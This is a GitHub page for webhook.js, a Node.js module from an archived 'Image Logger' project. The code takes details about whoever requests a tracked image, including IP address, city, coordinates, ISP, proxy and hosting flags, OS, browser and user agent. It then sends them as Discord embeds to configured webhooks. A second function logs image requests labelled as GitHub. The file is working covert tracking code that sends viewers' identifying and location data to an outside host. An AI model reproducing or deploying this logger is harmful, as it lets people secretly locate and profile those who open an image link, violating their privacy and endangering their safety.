This repository has been archived by the owner on Jun 19, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 12
/
Copy pathwebhook.js
151 lines (143 loc) · 4.16 KB
/
webhook.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
const fs = require('fs')
const path = require('path')
const axios = require('axios')
const logger = require('./logger')
const { WebhookClient, EmbedBuilder } = require('discord.js')
const config = require('./config.json')
const sendImageToWebhooks = (
imageNameWithExtension,
imagePath,
clientIP,
timezone,
country,
regionName,
city,
lat,
lon,
isp,
as,
mobile,
proxy,
hosting,
os,
browser,
userAgent,
domain
) => {
imageNameWithExtension = imageNameWithExtension || 'not found'
imagePath = imagePath || 'not found'
clientIP = clientIP || 'not found'
timezone = timezone || 'not found'
country = country || 'not found'
regionName = regionName || 'not found'
city = city || 'not found'
lat = lat || 'not found'
lon = lon || 'not found'
isp = isp || 'not found'
as = as || 'not found'
mobile = mobile || 'not found'
proxy = proxy || 'not found'
hosting = hosting || 'not found'
os = os || 'not found'
browser = browser || 'not found'
userAgent = userAgent || 'not found'
domain = domain || 'not found'
config.webhooks.forEach(webhook => {
const webhookClient = new WebhookClient({ url: webhook.url })
const embed = new EmbedBuilder()
.setTitle(`Requesting an **${imageNameWithExtension}** image`)
.setURL(domain)
.setFields([
{
name: '🖼️ Image',
value: `\`\`\`shell\n🖼️ Name: ${imageNameWithExtension}\n🔗 URL: ${imagePath}\`\`\``
},
{
name: '📡 Network',
value: `\`\`\`shell\n🌐 IP: ${clientIP}\n⏲️ Timezone: ${timezone}\n🌍 Country: ${country}\n🏙️ Region: ${regionName}\n🏙️ City: ${city}\n📍 Coordinates: ${lat}, ${lon}\n📡 ISP: ${isp}\n📡 AS: ${as}\n📱 Mobile: ${mobile}\n📡 Proxy: ${proxy}\n📡 Hosting: ${hosting}\`\`\``
},
{
name: '📱 Device',
value: `\`\`\`shell\n🖥️ OS: ${os}\n🌐 Browser: ${browser}\n\`\`\``
},
{
name: '📱 User Agent',
value: `\`\`\`shell\n${userAgent}\`\`\``
}
])
.setThumbnail('attachment://' + imageNameWithExtension)
.setFooter({
text: 'Image Logger',
iconURL:
'https://cliply.co/wp-content/uploads/2021/08/372108630_DISCORD_LOGO_400.gif'
})
.setColor('#00ff00')
.setTimestamp()
webhookClient
.send({
embeds: [embed]
})
.then(() => {
logger.info(
`Image ${imageNameWithExtension} sent to webhook ${webhook.name}`
)
})
.catch(error => {
logger.error(
`Error sending image ${imageNameWithExtension} to webhook ${webhook.name}: ${error}`
)
})
})
}
const sendImageToWebhooksGithub = (
imageNameWithExtension,
imagePath,
domain
) => {
imageNameWithExtension = imageNameWithExtension || 'not found'
imagePath = imagePath || 'not found'
domain = domain || 'not found'
config.webhooks.forEach(webhook => {
const webhookClient = new WebhookClient({ url: webhook.url })
const embed = new EmbedBuilder()
.setTitle(`Requesting **${imageNameWithExtension}** on GitHub`)
.setURL(domain)
.setAuthor({
name: 'GitHub',
iconURL:
'https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png'
})
.setFields([
{
name: '🖼️ Image',
value: `\`\`\`shell\n🖼️ Name: ${imageNameWithExtension}\n🔗 URL: ${imagePath}\`\`\``
}
])
.setThumbnail('attachment://' + imageNameWithExtension)
.setFooter({
text: 'Image Logger',
iconURL:
'https://cliply.co/wp-content/uploads/2021/08/372108630_DISCORD_LOGO_400.gif'
})
.setColor('#ffffff')
.setTimestamp()
webhookClient
.send({
embeds: [embed]
})
.then(() => {
logger.info(
`Image ${imageNameWithExtension} sent to webhook ${webhook.name}`
)
})
.catch(error => {
logger.error(
`Error sending image ${imageNameWithExtension} to webhook ${webhook.name}: ${error}`
)
})
})
}
module.exports = {
sendImageToWebhooks,
sendImageToWebhooksGithub
}